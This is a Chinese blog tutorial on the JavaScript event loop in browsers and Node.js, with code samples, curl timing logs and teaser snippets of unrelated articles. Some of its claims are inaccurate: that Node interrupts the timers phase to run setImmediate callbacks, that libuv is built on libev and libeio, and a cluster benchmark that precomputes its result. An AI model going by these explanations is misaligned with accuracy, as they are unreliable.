前端学习 node 快速入门 系列 —— 事件循环

事件循环

本篇将对以下问题进行讨论:

  • 浏览器有事件循环,node 也有事件循环,两者有什么异同?
  • node 核心特性(事件驱动和非阻塞 I/O )和事件循环有什么关系?
  • node 中的高并发和高性能和事件循环有关系吗?
  • node 不适合什么场景?
  • 有人说 Node 是单线程,有人又说 node 存在多线程,哪个正确?
  • 如果一个请求需要2秒,用 pm2 能将其优化吗?

浏览器中的事件循环

有关事件循环前文已经略作介绍,这里进一步补充。

请在浏览器中运行这段代码:

console.log('1');

setTimeout(() => {
    console.log('2');
    Promise.resolve().then(() => console.log('3'));
    Promise.resolve().then(() => console.log('4'));
}, 100);

setTimeout(() => {
    console.log('5');
    Promise.resolve().then(() => console.log('6'));
}, 150);

Promise.resolve().then(() => console.log('7'));

setTimeout(() => console.log('8'), 200);

console.log('9');

/*
结果:
1
9
7
2
3
4
5
6
8
*/

分析这段代码的事件循环的详细过程之前,有几点需要说一下:

  • 在一次事件循环中,只会执行一个宏任务所有的微任务,而且宏任务和微任务的处理顺序是固定的:每次执行完一个宏任务后,首先会立即处理所有的微任务,然后才会执行下一个宏任务。如果在执行微任务时又产生了新的微任务,那么这些新的微任务也会被添加到队列中,直到全部微任务都执行完成,才会执行宏任务。
  • 宏任务执行期间产生的微任务都会在当前宏任务执行完毕之后立即执行,不会延迟到下一个宏任务或事件循环中执行
  • 当一个宏任务执行的过程中产生了微任务,那么这些微任务会被推入微任务队列中等待处理。而只有当当前宏任务执行结束之后,主线程才会去处理微任务队列中的所有微任务。因此,所有的微任务都会在下一个宏任务执行之前被处理完毕。
  • 在浏览器中,主线程使用轮询方式来实现事件循环机制。在执行完当前的任务之后,如果宏任务队列为空,主线程会等待一段时间,这个时间间隔是由浏览器厂商自行决定的,然后再次查询宏任务队列是否有任务需要执行。
  • setTimeout 是宏任务,比如执行 setTimeout(() => console.log('8'), 200),浏览器会创建一个定时器(200ms),并将回调函数和指定的时间保存在一个任务中。当指定的时间到达时,定时器才会将这个任务推入宏任务队列中等待处理

这段代码大概有四次事件循环,执行过程如下:

  • 第一次事件循环:
首先将 console.log('1') 加入执行栈中,输出 1,然后将其从执行栈中弹出。

第一个 setTimeout 函数被调用时,浏览器会创建一个定时器(100ms),并将回调函数和指定的时间保存在一个任务中。当指定的时间到达时,定时器会将这个任务推入宏任务队列中等待处理

第二个 setTimeout 与第一 setTimeout 类似,等待 150ms 后会被放入宏任务队列中

Promise.resolve().then(() => console.log('7')) 放入微任务队列

第三个 setTimeout 与第一 setTimeout 类似,等待 200ms 后会被放入宏任务队列中

执行 console.log('9')

取出微任务队列中的所有任务,输出 7
  • 第二次事件循环:
执行栈为空,主线程轮询查看宏任务队列(微任务队列刚才已经清空了),此时宏任务队列为空

100ms后,第一个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中

输出 2

执行 `Promise.resolve().then(() => console.log('3'));`、`Promise.resolve().then(() => console.log('4'));`,放入微任务队列

这个宏任务执行完毕之后,主线程会转而执行当前微任务队列中的所有任务,输出 3 和 4
  • 第三次事件循环:
执行栈为空,主线程轮询宏任务队列发现其为空

150ms后,第二个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中

输出 5

执行 `Promise.resolve().then(() => console.log('6'));` 放入微任务队列

这个宏任务执行完毕之后,主线程会转而执行当前微任务队列中的所有任务,输出 6
  • 第四次事件循环:
执行栈为空,主线程轮询宏任务队列发现其为空

200ms后,第三个setTimeout 宏任务推入宏任务队列中,取出这个宏任务放入执行栈中

输出 8

宏任务优先级

宏任务之间其实存在优先级。比如 click > requestAnimationFrame > setTimeout

  • 用户交互相关的任务具有最高的优先级。在用户交互(例如点击)后,会将与该事件相关的任务添加到宏任务队列中并标记为紧急,从而使它们具有比其他任务更高的优先级。这确保了与用户直接交互相关的操作具有更快的响应时间。
  • requestAnimationFrame函数,这个函数也有较高的优先级,因为它需要在下一次屏幕刷新之前进行处理以提供平滑的动画效果
  • setTimeout 或 setInterval 添加的回调函数。通常情况下,先添加到队列中的回调函数会优先得到处理。它们只能保证至少在指定的时间后才开始执行

请看示例:

function log(message) {
    const now = new Date();
    console.log(`[${now.getSeconds()}:${now.getMilliseconds()}] ${message}`);
}

setTimeout(() => {
    log('setTimeout callback');
}, 0);

requestAnimationFrame(() => {
    log('requestAnimationFrame callback');
});

document.addEventListener('click', () => {
    log('click event');
});

// 手动触发 click 事件
const event = new Event('click');
document.dispatchEvent(event);

/*
[46:280] click event
[46:299] setTimeout callback
[5:646] requestAnimationFrame callback
*/

无论测试多少次,click 总是最先输出。但是 requestAnimationFrame 就不一定先 setTimeout 输出,因为 requestAnimationFrame 有自己的节奏,只要不影响平滑的动画效果,即使在 setTimeout 后面也可能。

核心特性

Node.js 核心的特性是事件驱动(Event-driven)和非阻塞 I/O(Non-blocking I/O):

  • 事件驱动 - nodejs 中的异步操作基于事件,也就是说,当某个操作完成时,Node.js 会发出一个事件来通知你,然后你就可以通过注册事件的方式来执行回调函数。
  • 非阻塞 I/O - nodejs 执行一个 I/O 操作时,它不会像传统的同步阻塞 I/O 一样等待操作完成,而是会在操作的同时继续处理其他请求。这种方式可以避免 I/O 导致的阻塞,提高系统的吞吐量和响应能力。

Tip:两个特性有关系,但不是一个概念。比如可以说:基于事件驱动的非阻塞 I/O

Node.js 中的事件驱动和非阻塞 I/O 是基于事件循环实现的。

在 node 中,事件循环是一个持续不断的循环过程,不断地从事件队列中取出事件并处理,直到事件队列为空。具体来说,当 Node.js 遇到一个需要异步处理的 I/O 操作时,它不会等待操作完成后再执行下一步操作,而是将该操作放到事件队列中,并继续执行下一步。当操作完成后,Node.js 会将相应的回调函数也放到事件队列中,等待事件循环来处理。这样一来,Node.js 就可以同时处理多个请求,而且不会因为某一个操作的阻塞而影响整个应用程序的性能。

除了 I/O 操作之外,事件循环还可以用于处理定时器HTTP 请求数据库访问等各种类型的事件

Tip: 事件队列不仅包含宏任务队列微任务队列,还有维护着几个其他的队列,这些队列通过事件循环机制来实现异步非阻塞。其他队列有:

  • check 队列。check 队列用于存放 setImmediate() 的回调函数
  • I/O 观察器队列(watcher queue)
  • 关闭事件队列(close queue)

高并发和高性能

在 Node.js 中,高并发指的是系统能够处理高并发请求的能力。不会因为一个请求的处理而阻塞其他请求的执行,系统能够同时处理众多请求。高性能通常指的是它在处理大量并发请求时表现出的优异性能。

事件循环是 Node.js 实现高并发和高性能的核心机制之一。通过将计算密集型任务和 I/O 任务分离并采用异步执行,Node.js 能够充分利用 CPU 和内存资源,从而实现高性能和高并发。

没有事件循环,Node.js 就无法实现异步 I/O 和非阻塞式编程模型。在传统的阻塞式 I/O 模型中,一个 I/O 操作会一直等待数据返回,导致应用程序被阻塞,无法进行其他操作。而通过事件循环机制,Node.js 实现了异步 I/O,当一个 I/O 操作被触发后,Node.js 将其放入事件循环队列中,然后立即执行下一个任务,不必等待当前的 I/O 操作结束。当 I/O 操作完成时,Node.js 会将相应的回调函数添加到事件队列中等待执行。

node 中的事件循环

vs 浏览器中的事件循环

相同点:单个主线程、单个执行栈、有宏任务队列和微任务队列

不同点:

  • 实现不同。Node.js 是一款服务端运行时,而浏览器则用于页面和交互等,场景不同,所以实现方式不同。Node.js 中的事件循环机制是通过 libuv 库来实现,因为它具有跨平台性、高效性、多功能性(除了事件循环机制外,libuv 还提供了很多其他的系统功能和服务,能够满足 Node.js 在服务器端编程上的需要)等。
  • 一次事件循环不同。浏览器中的一次事件循环包括一个宏任务和相关所有微任务。在 node 中,一次事件循环包含6个阶段(下文会详细介绍)

虽然两者有不同,但它们有相同的设计目标:高效而可靠的方式处理异步任务(或者说:解决 JavaScript 异步编程问题)。

原理

一次事件循环包含以下 6 个阶段:

+--------------------------+
|                          |
|   timers                 | 计时器阶段:处理 setTimeout() 和 setInterval() 定时器的回调函数。
|                          |
+--------------------------+
|                          |
|   pending callbacks      | 待定回调阶段:用于处理系统级别的错误信息,例如 TCP 错误或者 DNS 解析异常。
|                          |
+--------------------------+
|                          |
|   idle, prepare          | 仅在内部使用,可以忽略不计。
|                          |
+--------------------------+
|                          |
|   poll                   | 轮询阶段:等待 I/O 事件(如网络请求或文件 I/O 等)的发生,然后执行对应的回调函数,并且会处理定时器相关的回调函数。
|                          |          如果没有任何 I/O 事件发生,此阶段可能会使事件循环阻塞。
+--------------------------+
|                          |
|   check                  | 检查阶段:处理 setImmediate() 的回调函数。check 的回调优先级比 setTimeout 高,比微任务要低
|                          |
+--------------------------+
|                          |
|   close callbacks        | 关闭回调阶段:处理一些关闭的回调函数,比如 socket.on('close')。
|                          |
+--------------------------+

这 6 个阶段执行顺序:

  1. 事件循环首先会进入 timers 阶段,执行所有超时时间到达的定时器相关的回调函数。
  2. 当 Node.js 执行完 timers 阶段后,就会进入到 pending callbacks 阶段。在这个阶段, Node.js 会执行一些系统级别的回调函数,这些回调函数一般都是由 Node.js 的内部模块触发的,而不是由 JavaScript 代码直接触发的。
  3. 然后进入 poll 阶段,等待 I/O 事件的发生,处理相关的回调函数。如果在此阶段确定没有任何 I/O 事件需要处理,那么事件循环会等待一定的时间,以防止 CPU 空转,这个时间会由系统自动设置或者手动在代码中指定。如果有定时器在此阶段需要处理,那么事件循环会回到 timers 阶段继续执行相应的回调函数。
  4. 接着进入 check 阶段,处理 setImmediate() 注册的回调函数。setImmediate() 的优先级比 timers 阶段要高。当事件循环进入 check 阶段时,如果发现事件队列中存在 setImmediate() 的回调函数,则会立即执行该回调函数而不是继续等待 timers 阶段的到来。
  5. 最后进入 close callbacks 阶段,处理一些关闭的回调函数。

事件循环的每个阶段都有对应的宏任务队列微任务队列。当一个阶段中的所有宏任务都执行完之后,事件循环会进入下一个阶段。在该阶段结束时,如果存在微任务,事件循环将会在开始下一个阶段之前执行所有的微任务。这样一来,无论在何时添加微任务,都能确保先执行所有的微任务,避免了某些任务的并发问题。如果我们在某个阶段中添加了多个微任务,那么它们会在该阶段结束时依次执行,直到所有微任务都被处理完成,才会进入下一个阶段的宏任务队列。

一次事件循环周期以清空6个阶段的宏任务队列和微任务队列来结束。

一次事件循环周期内,每个阶段是否可以执行多次。例如此时在 poll 阶段,这时 timers 阶段任务队列中有了回调函数,由于 timers 的优先级高于 poll,所以又回到 timers 阶段,执行完该阶段的宏任务和微任务后,在回到 poll 阶段。

总之,这 6 个阶段构成了 Node.js 的事件循环机制,确保了所有被注册的回调函数都能得到及时、准确的执行

Tip:当调用 setTimeout 方法时,如果超时时间还没到,则生成的定时器宏任务也不会立刻放入宏任务队列中,而是会被放入计时器队列中。计时器队列和延迟队列类似,都是由定时器宏任务组成的小根堆结构,每个定时器宏任务也对应着其到期时间以及对应的回调函数。当超时时间到达后,Node.js 会将该定时器宏任务从计时器队列中取出并放入宏任务队列中,等待事件循环去执行。

尽管事件循环的机制比较明确,但由于各种因素的影响,具体的执行顺序仍然难以精确预测。其顺序取决于当前事件队列中各个回调函数的执行情况、耗时以及系统各种资源的利用情况等多种因素。每次事件循环的顺序都不一定相同:

  • 例如,在事件循环的 poll 阶段中,如果存在大量耗时较长的 I/O 回调函数,则事件循环可能会在 poll 阶段中花费较长的时间。此时,即使定时器的超时时间到达了,事件循环也不会立即进入 timers 阶段,而是要先处理 poll 阶段中还未完成的任务。

Tip: setTimeout 在node 中最小是 1ms,在浏览器中是4ms

示例

console.log("start");

setTimeout(() => {
  console.log("first timeout callback");
}, 1);

setImmediate(() => {
  console.log("immediate callback");
});

process.nextTick(() => {
  console.log("next tick callback");
});

console.log("end");

运行10次node 输出如下:

start
end
next tick callback
first timeout callback
immediate callback

执行分析:

  • 先执行同步代码,输出 startend
  • setTimeout和setImmediate属于宏任务
  • process.nextTick 是微任务,输出 next tick callback

现在的难点是 setImmediate 和 setTimeout 的回调哪个先执行!

:在某些特殊情况下,timers 阶段和 check 阶段的任务可能会交错执行。这通常发生在以下两种情况下:

  • 当 timers 阶段中存在长时间运行的回调函数时(如一个耗时很长的 for 循环),会导致该阶段阻塞,影响事件循环的正常执行。在这种情况下,如果 check 阶段中有一些较短的回调函数需要执行,Node.js 可能会在 timers 阶段中间中断执行,并立即进入 check 阶段处理已经准备好的回调函数,然后再返回 timers 阶段继续执行剩余的回调函数。
  • 当注册了 setImmediate() 和 setTimeout() 回调函数并且它们被分别安排到不同的事件循环周期中执行时,这时候 setImmediate() 的回调函数可能会在 timers 阶段的回调函数之前被执行。这是因为 check 阶段的任务队列优先级比 timers 阶段的任务队列要高,所以在下一个循环周期的 check 阶段中,setImmediate() 的回调函数会被优先处理。

根据结果,我们推测:setImmediate 和 setTimeout 都进入了下一个循环周期,先执行 timers 阶段,在执行 check 阶段的回调。

Tip: 尽管 setImmediate 被称为 "immediate",但它并不保证会立刻执行。在 Node.js 的事件循环中,setImmediate() 的回调函数会被加入到 check 阶段的任务队列中,等到轮到 check 阶段时才会执行。

CPU 密集型场景

Node.js 不适合CPU 密集型场景。比如大量数学计算,可能会阻塞 Node.js 主线程。

比如一个 1 到 10亿求和的请求:

const http = require('http');

http.createServer((req, res) => {
  console.log('start');
  let sum = 0;
  for (let i = 1; i <= 1000000000; i++) {
    sum += i;
  }
  console.log('end');

  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end(sum.toString());
}).listen(3000);

console.log('server running at http://localhost:3000/');

通过curl 检测访问 http://localhost:3000/ 的时间,分别是 1.754s1.072s2.821s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    18    0    18    0     0     15      0 --:--:--  0:00:01 --:--:--    15500000000067109000

real    0m1.754s
user    0m0.000s
sys     0m0.078s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    18    0    18    0     0     20      0 --:--:-- --:--:-- --:--:--    21500000000067109000

real    0m1.072s
user    0m0.015s
sys     0m0.093s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    18    0    18    0     0      6      0 --:--:--  0:00:02 --:--:--     6500000000067109000

real    0m2.821s
user    0m0.031s
sys     0m0.077s

接着用node 内置的 cluster 模块将计算工作分配到4个子进程中,访问速度大幅度提升。

const http = require('http');
const cluster = require('cluster');

if (cluster.isMaster) {
  // 计算工作分配到4个子进程中
  const numCPUs = require('os').cpus().length;
  const range = 1000000000;
  const rangePerCore = Math.ceil(range / numCPUs);
  let endIndex = 0;
  let sum = 0;

  for (let i = 0; i < numCPUs; i++) {
    const worker = cluster.fork();
    worker.on('message', function({ endIndex, result }) {
      sum += result;
      if (endIndex === range) {
        console.log(sum);
        // 启动 Web 服务器,在主进程中处理请求
        http.createServer((req, res) => {
          res.statusCode = 200;
          res.setHeader('Content-Type', 'text/plain');
          res.end(`The sum is ${sum}\n`);
        }).listen(3000, () => {
          console.log(`Server running at http://localhost:3000/`);
        });
      }
    });
    worker.send({ startIndex: endIndex + 1, endIndex: endIndex + rangePerCore });
    endIndex += rangePerCore;
  }
} else {
  process.on('message', function({ startIndex, endIndex }) {
    let sum = 0;
    for (let i = startIndex; i <= endIndex; i++) {
      sum += i;
    }
    process.send({ endIndex, result: sum });
  });
}

访问时长分别是:0.230s0.216s0.205s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0   2354      0 --:--:-- --:--:-- --:--:--  4285The sum is 500000000098792260


real    0m0.230s
user    0m0.000s
sys     0m0.109s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0   2212      0 --:--:-- --:--:-- --:--:--  3750The sum is 500000000098792260


real    0m0.216s
user    0m0.000s
sys     0m0.078s

Administrator@ MINGW64 /e/ (master)
$ time curl http://localhost:3000/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0   2545      0 --:--:-- --:--:-- --:--:--  6000The sum is 500000000098792260


real    0m0.205s
user    0m0.000s
sys     0m0.078s

其他

pm2 的一个局限性

假如一个请求得花费2秒(1 到 10亿之和),使用 pm2 也不能减小请求时间。

pm2能做的是:比如一个 node 应用单核(1个cpu内核)可以支持一千个并发请求,现在并发四千个请求,由于超出能力,请求响应会变慢。现在通过 Pm2 在四核服务器中启动4个node应用,之前还存在负载均衡,这样就可以支持四千个并发请求。

Tip:pm2的介绍请看这里

单线程

Node.js 是单线程的,这意味着所有事件循环(Event Loop)和 I/O 操作都在一个主线程中运行。所以说,Node.js 中只存在一个事件循环和一个执行上下文栈。

不过,Node.js 的实现并不简单粗暴。它通过使用非阻塞 I/O、异步编程以及事件驱动机制,让单线程可以支持高并发处理大量的 I/O 操作。Node.js 底层采用的是 libuv 库来实现异步 I/O 模型,该库在底层会使用 libev 和 libeio 等多种事件驱动框架来实现对底层 I/O 系统调用的封装,从而让单线程可以同时处理多个 I/O 任务,避免了线程切换的开销,提高了应用程序的性能。

此外,在 Node.js 版本 10.5.0 之后,Node.js 引入了 worker_threads 模块,支持通过创建子线程的方式来实现多线程。worker_threads 模块提供了一套 API,使得开发者可以方便地创建和管理多个子线程,并利用多线程来加速处理计算密集型任务等场景。

总之,Node.js 是单线程的,但同时也通过采用异步 I/O 模型、事件驱动机制和多线程等技术手段,来支持高并发、高性能的应用程序开发。

作者:彭加李
出处:http://www.cnblogs.com/pengjiali/p/17421615.html
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。
本文转载于网络 如有侵权请联系删除

相关文章

  • Redis实现Single单点登入--系统框架搭建(一)

    环境需求:redis3.8.2+maven+springBoot+jdk1.8+freemarker模板1、需求背景周末在家,上家同事突然联系,让我给他网站做单点登入功能,于是自己先梳理逻辑,实现功能并且记录下来。单点登入(Singlesignon)顾名思义,就是在一个网站登入之后,其他网站就不需要用户继续输入账号密码,而能免密登入,这种技术在大型网站都使用的非常频繁,比如阿里巴巴,当用户登入他们系统后,每个子系统都能自动登入,如果大家在登入某宝之后,登入某碑,也需要密码,登入淘宝也需要重新输入密码,这肯定会造成用户体验极差,而且系统的认证逻辑也会很麻烦,这时候单点登入就出现了。2、代码实例本文演示两个系统 @Slf4j @RestController @RequestMapping("/redis/single") publicclassRedisSingleController{ privatestaticfinalStringNAME="name"; privatestaticfinalStringPASSWORD="passw

  • Golang数据类型之指针

    1、概述2、声明3、空指针4、用指针修改值5、指针的指针1、概述每个变量在内存中都有对应的存储位置,也就是内存地址指针类型是指变量存储的是一个内存地址的变量类型,在golang中可以通过&运算符获取变量的指针取变量指针的语法ptr:=&v//v的类型为T //v:代表被取地址的变量,类型为T //ptr:用于接收地址的变量,ptr的类型就为*T,称做T的指针类型。*代表指针复制2、声明指针声明需要指定存储地址中对应数据的类型,并使用*作为类型前缀进行指针取值funcmain(){ //指针取值 a:=10 b:=&a//取变量a的地址,将指针保存到b中 fmt.Printf("typeofb:%T\n",b) c:=*b//指针取值(根据指针去内存取值) fmt.Printf("typeofc:%T\n",c) fmt.Printf("valueofc:%v\n",c) } /* typeofb:*int typeofc:int valueofc:10 /*复制用法归纳对变量进行取地址(&)操作

  • 百应AI数字员工亮相全球人工智能技术博览会|腾讯SaaS加速器·学员动态

    来源|腾讯SaaS加速器二期项目-百应近日,由中国科学技术协会、中国科学院、中国工程院、浙江省人民政府指导,中国人工智能学会、杭州市人民政府主办的「2021全球人工智能技术大会暨全球人工智能技术博览会」在杭州召开。国务院参事、CAAI理事长戴琼海院士,浙江大学校长吴朝晖院士,中国工程院赵春江院士,省政协副主席周国辉,市长刘忻等嘉宾出席本次活动。作为新一代人工智能应用的创新实践者,百应(腾讯SaaS加速器二期成员)AI数字员工受邀参与此次博览会,与阿里、百度、科大讯飞等人工智能Top企业同台“角逐”,以国际化、前瞻化、产业化视角,解析并展示新一代人工智能发展路径。“AI盛会“携手“数智之城”。事实上,这也是继2月获批建设国家人工智能创新应用先导区之后,杭州举办的第一场全球性的人工智能品牌盛会。近年来,杭州认真贯彻落实省委省政府战略部署,始终将人工智能产业作为重要发展方向,围绕数字经济系统建设,先后出台了人工智能发展行动计划等一系列政策规划,并在政务服务、反欺诈等领域全面推进人工智能技术的落地应用。作为技术驱动创新的行业新生力量,百应科技在语音合成、语音识别、自然语言处理等多项人工智能核心

  • Redis 中 scan 命令踩坑,千万别乱用!!

    作者:铂赛东 链接:www.jianshu.com/p/8cf8aac3dc251原本以为自己对redis命令还蛮熟悉的,各种数据模型各种基于redis的骚操作。但是最近在使用redis的scan的命令式却踩了一个坑,顿时发觉自己原来对redis的游标理解的很有限。所以记录下这个踩坑的过程,背景如下:公司因为redis服务器内存吃紧,需要删除一些无用的没有设置过期时间的key。大概有500多w的key。虽然key的数目听起来挺吓人。但是自己玩redis也有年头了,这种事还不是手到擒来?当时想了下,具体方案是通过lua脚本来过滤出500w的key。然后进行删除动作。lua脚本在redisserver上执行,执行速度快,执行一批只需要和redisserver建立一次连接。筛选出来key,然后一次删1w。然后通过shell脚本循环个500次就能删完所有的。以前通过lua脚本做过类似批量更新的操作,3w一次也是秒级的。基本不会造成redis的阻塞。这样算起来,10分钟就能搞定500w的key。然后,我就开始直接写lua脚本。首先是筛选。用过redis的人,肯定知道redis是单线程作业的,肯定

  • 尤雨溪:重头来过的 Vue 3 带来了什么?

    作者:尤雨溪,翻译:CSDN在过去的一年里,Vue团队一直在开发Vue.js的下一个主要版本Vue3,我们希望能在2020年上半年将其发布(在撰写本文时,这项开发工作正在进行中)。重写Vue新的主要版本的构想是在2018年底形成的,当时Vue2的代码库大约已有两年半的运行历史。这看起来不像是通用软件生命周期中的一段很长的时间,但在这段时间里,前端环境发生了巨大的变化。两个关键的因素导致了我们考虑重写Vue新的主要版本:主流浏览器对新的JavaScript语言特性的普遍支持。当前Vue代码库随着时间的推移而暴露出来的设计和体系架构问题。1、为什么要重写?▐使用新的语言特性随着ES2015标准的发布,Javascript(正式称为ECMAScript,简称ES)得到了重大改进,主流浏览器终于开始为这些新添加的特性提供适当的支持。其中一些特性特别地为我们提供了极大提升Vue能力的机会。其中一个最值得注意的特性是Proxy,它允许框架拦截针对对象(属性)的操作。Vue的一个核心特性是能够监听对用户定义的状态所做的更改,并对DOM进行响应式地更新。Vue2通过使用getter和setter来替换

  • 搭建简单的Dubbo生产者与消费者

    前言Dubbo是一款高性能、轻量级的开源JavaRPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。搭建演示一、安装Zookeeper安装环境为Centos系统IP:192.168.40.129,与Windows操作基本一样安装Java环境yuminstalljava-1.8.0-openjdk.x86_64-y复制安装Zookeeper#下载zookeeper cd/usr/local/ wgethttp://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz #解压 tar-zxvfzookeeper-3.4.14.tar.gz #配置 cd./zookeeper-3.4.14 mkdirdata vimconf/zoo_sample.cfg #修改dataDir=/usr/local/zookeeper-3.4.14/data mvconf/zoo_sample.cfgconf/zoo.cfg #启动 /usr/local/z

  • .NET Core/Framework 创建委托以大幅度提高反射调用的性能

    .NETCore/Framework创建委托以大幅度提高反射调用的性能发布于2018-02-0709:45 更新于2018-02-2711:58都知道反射伤性能,但不得不反射的时候又怎么办呢?当真的被问题逼迫的时候还是能找到解决办法的。为反射得到的方法创建一个委托,此后调用此委托将能够提高近乎直接调用方法本身的性能。(当然Emit也能够帮助我们显著提升性能,不过直接得到可以调用的委托不是更加方便吗?)性能对比数据 ▲没有什么能够比数据更有说服力(注意后面两行是有秒数的)可能我还需要解释一下那五行数据的含义:直接调用(?应该没有什么比直接调用函数本身更有性能优势的吧)做一个跟直接调用的方法功能一模一样的委托(?目的是看看调用委托相比调用方法本身是否有性能损失,从数据上看,损失非常小)本文重点将反射出来的方法创建一个委托,然后调用这个委托(?看看吧,性能跟直接调差别也不大嘛)先反射得到方法,然后一直调用这个方法(?终于可以看出来反射本身还是挺伤性能的了,50多倍的性能损失啊)缓存都不用,从头开始反射然后调用得到的方法(?100多倍的性能损失了)以下是测试代码,可以更好地理解上图数据的含义:

  • java开发_UUID(Universally Unique Identifier,全局唯一标识符)和GUID(Globally Unique Identifier,全球唯一标识符)

    GUID:即GloballyUniqueIdentifier(全球唯一标识符)也称作UUID(UniversallyUniqueIDentifier)。所以GUID就是UUID。GUID是一个128位长的数字,一般用16进制表示。算法的核心思想是结合机器的网卡、当地时间、一个随即数来生成GUID。从理论上讲,如果一台机器每秒产生10000000个GUID,则可以保证(概率意义上)3240年不重复。下面是一个demo:packagecom.mytest; importjava.util.UUID; /** *JDK1.5以上 * */ publicclassUUIDTest{ publicstaticvoidmain(String[]args){ UUIDuuid=UUID.randomUUID(); System.out.println(uuid); } }复制输出结果:1fd61384b-05a5-4030-885e-a6bd3b60ef1a复制下面是去除UUID中的"-"1/** 2* 3*/ 4packagecom.b510; 5 6importjava.u

  • 源码审计之空指针引用漏洞

    *本文原创作者:freezing,本文属FreeBuf原创奖励计划,未经许可禁止转载前言最近在网上加入了一个安全团队,里面有人问我如何做代码审计。只能说先能看得懂代码,了解各种漏洞的形成原因。然后多进行审计和调试练习。这是刚学习源码审计时写的一遍审核过程,希望大家做个参考。(php的文章很多,来一篇C语言的)一、空指针漏洞原因NullPointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃。二、空指针漏洞难以发现的原因空指针(NullPointer)引用导致的错误,依靠代码审计工具很难发现其中的错误,因为空指针的引用一般不会发生在出现空指针然后直接使用空指针情况。往往是由于代码逻辑比较复杂空指针引用的位置会比较远,不容易发现;并且在正常情况下不会触发,只有在某一个特定输入条件下才会引发空指针引用。对于排查此类错误也就更加困难。三、白盒分析是空指针引用3.1三个条件3.2.rats软件介绍RATS是一个代码安全审计工具,可扫描C、C++、Perl、PHP和Py

  • 最长上升子序列

    题意给定一个整数序列,找到最长上升子序列(LIS),返回LIS的长度。最长上升子序列问题是在一个无序的给定序列中找到一个尽可能长的由低到高排列的子序列,这种子序列不一定是连续的或者唯一的。样例给出[5,4,1,2,3],LIS是[1,2,3],返回3 给出[4,2,4,5,3,7],LIS是[2,4,5,7],返回4思路如1,3,5,2,8,4,6,对于6来说,它的LIS是它的前一个数,也就是4小于它(4<6)的情况下,将4的(LIS+1)就是6个LIS,以此类推。代码实现publicclassSolution{ /** *@paramnums:Theintegerarray *@return:ThelengthofLIS(longestincreasingsubsequence) */ publicintlongestIncreasingSubsequence(int[]nums){ if(nums==null||nums.length==0){ return0; } int[]lis=newint[nums.length]; intmax=0; for(inti=0;i&l

  • 张高兴的 Windows 10 IoT 开发笔记:串口红外编解码模块 YS-IRTM

    ThisisaWindows10IoTCoreprojectontheRaspberryPi2/3,codedbyC#.GitHub:https://github.com/ZhangGaoxing/windows-iot-demo/tree/master/IRTMImageYS-IRTM.jpgReferencehttps://github.com/ZhangGaoxing/windows-iot-demo/tree/master/IRTM/ReferenceConnectRXD-UART0TX(PIN8)TXD-UART0RX(PIN10)VCC-5VGND-GNDNoteThereisoneSerialUARTavailableontheRPi2/3:UART0Pin8-UART0TXPin10-UART0RXYouneedaddthefollowingcapabilitytothePackage.appxmanifestfiletouseSerialUART.<Capabilities> <DeviceCapabilityName="serialcom

  • 2851 菜菜买气球

    2851菜菜买气球时间限制:1s空间限制:128000KB题目等级:黄金Gold题目描述Description六一儿童节到了,菜菜爸爸带着菜菜来到了游乐园,菜菜可高兴坏了。这不,菜菜看到了一排卖气球的,便吵着闹着要买气球。不过这些卖气球的也奇怪,他们都站成了一排,而且每个人每次都只卖一定数量的气球,多了不卖,少了也不卖。菜菜爸爸已经打听好了这N个人每次卖的气球数量,忽然想考考菜菜:只能从连续的若干个人那里买气球,并且气球总数必须是质数,求最大的可行的气球总数。这个问题可难住了菜菜,他找到了你,请你帮忙计算该从哪个人买到哪个人,气球总数是多少。输入描述InputDescription第一行,一个正整数N。第二行,N个正整数,第i个数表示第i个人每次卖的气球数ni。输出描述OutputDescription一行,三个正整数l,r,s,分别表示买第l个人到第r个人的气球,总数为s,要求s尽可能大。在有若干个最优解的情况下,输出l最小的一组。数据保证有解。样例输入SampleInput31 3 4样例输出SampleOutput2 3 7数据范围及提示DataSize&Hint对于10

  • 【luffy】 短信注册接口,登录,注册前台,redio操作

    目录1.短信注册接口2.短信发送接口,如何防止被被人解析出地址后恶意使用3.登录前台4.redis介绍5.redis安装6.python操作redis6.1直接链接6.2使用连接池链接 1.短信注册接口 views.py classUserView(ViewSet): @action(methods=['POST'],detail=False) defregister(self,request): ser=UserRegisterSerializer(data=request.data) ser.is_valid(raise_exception=True) ser.save() returnAPIResponse(msg='注册成功') #后期要写注册并且登录的接口 复制 serializer.py classUserRegisterSerializer(serializers.ModelSerializer):#只用来做数据校验和反序列化 code=serializers.CharField(max_length=4,min_length=4) classMeta: model

  • .Net程序员面试所需要的一些技术准备

